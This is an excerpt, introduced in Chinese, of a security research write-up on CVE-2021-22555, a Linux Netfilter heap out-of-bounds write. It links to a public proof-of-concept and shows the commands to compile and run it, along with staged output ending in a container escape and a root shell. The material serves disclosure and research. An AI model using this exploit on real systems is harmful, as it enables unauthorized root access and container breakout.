本文摘录于https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
CVE-2021-22555是Linux Netfilter中一个已有15年历史的堆越界写入漏洞，它强大到可以绕过所有现代安全缓解措施，实现内核代码执行。它被用来打破kCTF集群的kubernetes pod隔离，并为慈善机构赢得了10000美元(谷歌将匹配并将捐赠翻倍至20000美元)
Proof-Of-Concept
The Proof-Of-Concept is available at https://github.com/google/security-research/tree/master/pocs/linux/cve-2021-22555.
Executing it on a vulnerable machine will grant you root:
theflow@theflow:~$ gcc -m32 -static -o exploit exploit.c
theflow@theflow:~$ ./exploit
[+] Linux Privilege Escalation by theflow@ - 2021
[+] STAGE 0: Initialization
[*] Setting up namespace sandbox...
[*] Initializing sockets and message queues...
[+] STAGE 1: Memory corruption
[*] Spraying primary messages...
[*] Spraying secondary messages...
[*] Creating holes in primary messages...
[*] Triggering out-of-bounds write...
[*] Searching for corrupted primary message...
[+] fake_idx: ffc
[+] real_idx: fc4
[+] STAGE 2: SMAP bypass
[*] Freeing real secondary message...
[*] Spraying fake secondary messages...
[*] Leaking adjacent secondary message...
[+] kheap_addr: ffff91a49cb7f000
[*] Freeing fake secondary messages...
[*] Spraying fake secondary messages...
[*] Leaking primary message...
[+] kheap_addr: ffff91a49c7a0000
[+] STAGE 3: KASLR bypass
[*] Freeing fake secondary messages...
[*] Spraying fake secondary messages...
[*] Freeing sk_buff data buffer...
[*] Spraying pipe_buffer objects...
[*] Leaking and freeing pipe_buffer object...
[+] anon_pipe_buf_ops: ffffffffa1e78380
[+] kbase_addr: ffffffffa0e00000
[+] STAGE 4: Kernel code execution
[*] Spraying fake pipe_buffer objects...
[*] Releasing pipe_buffer objects...
[*] Checking for root...
[+] Root privileges gained.
[+] STAGE 5: Post-exploitation
[*] Escaping container...
[*] Cleaning up...
[*] Popping root shell...
root@theflow:/# id
uid=0(root) gid=0(root) groups=0(root)
root@theflow:/#